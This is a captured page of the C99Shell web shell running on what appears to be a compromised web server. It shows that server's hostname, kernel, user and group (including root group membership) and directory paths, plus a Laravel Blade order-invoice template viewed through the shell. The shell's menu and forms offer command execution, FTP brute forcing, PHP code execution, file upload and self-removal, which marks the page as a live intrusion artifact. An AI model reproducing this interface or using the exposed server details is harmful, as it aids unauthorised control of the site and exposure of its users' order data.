!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/resources/views/back/order/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     invoice.blade.php (18.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('master.back')

@section('content')

    <!-- Start of Main Content -->
    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="card mb-4">
            <div class="card-body">
                <div class="d-sm-flex align-items-center justify-content-between">
                    <h3 class=" mb-0">{{ __('Order Invoice') }} </h3>
                    <div>
                        <a class="btn btn-primary btn-sm" href="{{route('back.order.index')}}"><i
                                    class="fas fa-chevron-left"></i> {{ __('Back') }}</a>
                        <a class="btn btn-primary btn-sm" href="{{ route('back.order.print',$order->id) }}"
                           target="_blank"><i class="fas fa-print"></i> {{ __('print') }}</a>
                    </div>
                </div>
            </div>
        </div>
        @php
            if($order->state){
                $state = json_decode($order->state,true);
            }else{
                $state = [];
            }
        @endphp

        <div class="row">
            <div class="col-lg-12">
                <div class="card">
                    <div class="card-body">
                        <div class="row">
                            <div class="col-12">

                                <!-- Logo -->
                                <img class="img-fluid mb-5 mh-70" width="180" alt="Logo"
                                     src="{{asset('assets/images/'.$setting->logo)}}">

                            </div>
                        </div> <!-- / .row -->
                        <div class="row">
                            <div class="col-6">
                                <h5><b>{{__('Order Details :')}}</b></h5>
                                <div class="section-order-info">

                                    <div class="trx-section">
                                        <span class="text-muted">{{__('Transaction Id :')}}</span>{{$order->txn_id}}<br>
                                    </div>

                                    <div class="sec-itm">
                                        <span class="text-muted">{{__('Item :')}}</span><b>{{$order->item->name}}</b><br>
                                    </div>

                                    <span class="text-muted">{{__('Order Total :')}}</span><b>{{PriceHelper::grandCurrencyPrice($order->total_price)}}</b>
                                    <br>
                                    <span class="text-muted">{{__('Order Date :')}}</span>{{$order->created_at->format('M d, Y')}}
                                    <br>
                                    <span class="text-muted">{{__('Payment Status :')}}</span>

                                    @if($order->payment_status == 'paid')
                                        <div class="badge badge-success">
                                            {{__('Paid')}}
                                        </div>
                                    @else
                                        <div class="badge badge-danger">
                                            {{__('Unpaid')}}
                                        </div>
                                    @endif
                                    <br>
                                    <span class="text-muted">{{__('Payment Method :')}}</span>{{$order->payment_method }}
                                    <br>
                                </div>
                            </div>

                            @php
                                $user=$order->user;
                            @endphp
                            <div class="col-12 col-md-6">
                                <h5><b>{{__('User Information :')}}</b></h5>

                                <span class="text-muted">{{__('Name')}}: {{$user->displayName()}}</span>
                                <br>
                                <span class="text-muted">{{__('Email')}}: </span>{{$user->email}}<br>
                                <span class="text-muted">{{__('Phone')}}: </span>{{$user->phone}}<br>

                            </div>


                        </div>
                        {{-- <div class="row">
                            <div class="col-12 col-md-6">
                                  <h5>{{__('Billing Address :')}}</h5>
                                      @php
                                          $bill = json_decode($order->billing_info,true);

                                      @endphp

                                      <span class="text-muted">{{__('Name')}}: </span>{{$bill['bill_first_name']}} {{$bill['bill_last_name']}}<br>
                                      <span class="text-muted">{{__('Email')}}: </span>{{$bill['bill_email']}}<br>
                                      <span class="text-muted">{{__('Phone')}}: </span>{{$bill['bill_phone']}}<br>
                                      @if (isset($bill['bill_address1']))
                                      <span class="text-muted">{{__('Address')}}: </span>{{$bill['bill_address1']}}, {{isset($bill['bill_address2']) ? $bill['bill_address2'] : ''}}<br>
                                      @endif
                                      @if (isset($bill['bill_country']))
                                      <span class="text-muted">{{__('Country')}}: </span>{{$bill['bill_country']}}<br>
                                      @endif
                                      @if (isset($bill['bill_city']))
                                      <span class="text-muted">{{__('City')}}: </span>{{$bill['bill_city']}}<br>
                                      @endif
                                      @if (isset($state['name']))
                                      <span class="text-muted">{{__('State')}}: </span>{{$state['name']}}<br>
                                      @endif
                                      @if (isset($bill['bill_zip']))
                                      <span class="text-muted">{{__('Zip')}}: </span>{{$bill['bill_zip']}}<br>
                                      @endif
                                      @if (isset($bill['bill_company']))
                                      <span class="text-muted">{{__('Company')}}: </span>{{$bill['bill_company']}}<br>
                                      @endif


                            </div>
                            <div class="col-12 col-md-6">
                              <h5>{{__('Shipping Address :')}}</h5>
                                  @php
                                      $ship = json_decode($order->shipping_info,true)
                                  @endphp
                                      <span class="text-muted">{{__('Name')}}: </span>{{$ship['ship_first_name']}} {{$ship['ship_last_name']}} <br>
                                      <span class="text-muted">{{__('Email')}}: </span>{{$ship['ship_email']}}<br>
                                      <span class="text-muted">{{__('Phone')}}: </span>{{$ship['ship_phone']}}<br>
                                      @if (isset($ship['ship_address1']))
                                      <span class="text-muted">{{__('Address')}}: </span>{{$ship['ship_address1']}}, {{isset($ship['ship_address2']) ? $ship['ship_address2'] : ''}}<br>
                                      @endif
                                      @if (isset($ship['ship_country']))
                                      <span class="text-muted">{{__('Country')}}: </span>{{$ship['ship_country']}}<br>
                                      @endif
                                      @if (isset($ship['ship_city']))
                                      <span class="text-muted">{{__('City')}}: </span>{{$ship['ship_city']}}<br>
                                      @endif
                                      @if (isset($state['name']))
                                      <span class="text-muted">{{__('State')}}: </span>{{$state['name']}}<br>
                                      @endif
                                      @if (isset($ship['ship_zip']))
                                      <span class="text-muted">{{__('Zip')}}: </span>{{$ship['ship_zip']}}<br>
                                      @endif
                                      @if (isset($ship['ship_company']))
                                      <span class="text-muted">{{__('Company')}}: </span>{{$ship['ship_company']}}<br>
                                      @endif

                            </div>
                          </div>
                        <div class="row">
                            <div class="col-12">

                            <!-- Table -->
                            <div class="gd-responsive-table">
                                <table class="table my-4">
                                <thead>
                                    <tr>
                                    <th width="50%" class="px-0 bg-transparent border-top-0">
                                        <span class="h6">{{__('Products')}}</span>
                                    </th>
                                    <th class="px-0 bg-transparent border-top-0">
                                        <span class="h6">{{__('Attribute')}}</span>
                                    </th>
                                    <th class="px-0 bg-transparent border-top-0">
                                        <span class="h6">{{__('Quantity')}}</span>
                                    </th>
                                    <th class="px-0 bg-transparent border-top-0 text-right">
                                        <span class="h6">{{__('Price')}}</span>
                                    </th>
                                    </tr>
                                </thead>
                                <tbody>
                                    @php
                                        $option_price = 0;
                                        $total = 0;
                                    @endphp
                                @foreach (json_decode($order->cart,true) as $item)
                                @php
                                    $total += $item['main_price'] * $item['qty'];
                                    $option_price += $item['attribute_price'];
                                    $grandSubtotal = $total + $option_price;
                                @endphp
                                <tr>
                                    <td class="px-0">
                                        {{$item['name']}}
                                    </td>
                                    <td class="px-0">
                                        @if($item['attribute'])

                                        @foreach ($item['attribute'] as $optionkey => $option_name)
                                        <span class="entry-meta"><b>{{$option_name['name']}}</b> :
                                            @if ($setting->currency_direction == 1)
                                            {{$order->currency_sign}}{{round($item['attribute_price']*$order->currency_value,2)}}
                                            @else
                                            {{round($item['attribute_price']*$order->currency_value,2)}}{{$order->currency_sign}}
                                            @endif

                                        </span>
                                        @endforeach
                                        @else
                                        --
                                        @endif
                                    </td>
                                    <td class="px-0">
                                        {{$item['qty']}}
                                    </td>

                                    <td class="px-0 text-right">
                                        @if ($setting->currency_direction == 1)
                                            {{$order->currency_sign}}{{round($item['main_price']*$order->currency_value,2)}}
                                        @else
                                            {{round($item['main_price']*$order->currency_value,2)}}{{$order->currency_sign}}
                                        @endif
                                    </td>
                                    </tr>
                                @endforeach
                                    <tr>
                                    <td class="padding-top-2x" colspan="5">
                                    </td>
                                    </tr>
                                    @if($order->tax!=0)
                                    <tr>
                                    <td class="px-0 border-top border-top-2">
                                    <span class="text-muted">{{__('Tax')}}</span>
                                    </td>
                                    <td class="px-0 text-right border-top border-top-2" colspan="5">
                                        <span>
                                        @if ($setting->currency_direction == 1)
                                            {{$order->currency_sign}}{{round($order->tax*$order->currency_value,2)}}
                                        @else
                                        {{round($order->tax*$order->currency_value,2)}}{{$order->currency_sign}}
                                        @endif
                                        </span>
                                    </td>
                                    </tr>
                                    @endif
                                    @if(json_decode($order->discount,true))
                                    @php
                                        $discount = json_decode($order->discount,true);
                                    @endphp
                                    <tr>
                                    <td class="px-0 border-top border-top-2">
                                    <span class="text-muted">{{__('Coupon discount')}} ({{$discount['code']['code_name']}})</span>
                                    </td>
                                    <td class="px-0 text-right border-top border-top-2" colspan="5">
                                        <span class="text-danger">
                                        @if ($setting->currency_direction == 1)
                                            -{{$order->currency_sign}}{{round($discount['discount'] * $order->currency_value,2)}}
                                        @else
                                            -{{round($discount['discount'] * $order->currency_value,2)}}{{$order->currency_sign}}
                                        @endif
                                        </span>
                                    </td>
                                    </tr>
                                    @endif
                                    @if(json_decode($order->shipping,true))
                                    @php
                                        $shipping = json_decode($order->shipping,true);
                                    @endphp
                                    <tr>
                                    <td class="px-0 border-top border-top-2">
                                    <span class="text-muted">{{__('Shipping')}}</span>
                                    </td>
                                    <td class="px-0 text-right border-top border-top-2" colspan="5">
                                        <span >
                                        @if ($setting->currency_direction == 1)
                                            {{$order->currency_sign}}{{round($shipping['price']*$order->currency_value,2)}}
                                        @else
                                            {{round($shipping['price']*$order->currency_value,2)}}{{$order->currency_sign}}
                                        @endif

                                        </span>
                                    </td>
                                    </tr>
                                    @endif
                                    @if(json_decode($order->state_price,true))
                                    <tr>
                                    <td class="px-0 border-top border-top-2">
                                    <span class="text-muted">{{__('State Tax')}}</span>
                                    </td>
                                    <td class="px-0 text-right border-top border-top-2" colspan="5">
                                        <span >
                                        @if ($setting->currency_direction == 1)
                                        {{isset($state['type']) && $state['type'] == 'percentage' ?  ' ('.$state['price'].'%) ' : ''}}  {{$order->currency_sign}}{{round($order['state_price']*$order->currency_value,2)}}
                                        @else
                                        {{isset($state['type']) &&  $state['type'] == 'percentage' ?  ' ('.$state['price'].'%) ' : ''}}  {{round($order['state_price']*$order->currency_value,2)}}{{$order->currency_sign}}
                                        @endif

                                        </span>
                                    </td>
                                    </tr>
                                    @endif
                                    <tr>
                                    <td class="px-0 border-top border-top-2">

                                    @if ($order->payment_method == 'Cash On Delivery')
                                    <strong>{{__('Total amount')}}</strong>
                                    @else
                                    <strong>{{__('Total amount due')}}</strong>
                                    @endif
                                    </td>
                                    <td class="px-0 text-right border-top border-top-2" colspan="5">
                                        <span class="h3">
                                            @if ($setting->currency_direction == 1)
                                            {{$order->currency_sign}}{{PriceHelper::OrderTotal($order)}}
                                            @else
                                            {{PriceHelper::OrderTotal($order)}}{{$order->currency_sign}}
                                            @endif
                                        </span>
                                    </td>
                                    </tr>
                                </tbody>
                                </table>
                            </div>
                            </div>
                        </div> --}}
                    </div>
                </div>
            </div>
        </div>


    </div>

@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--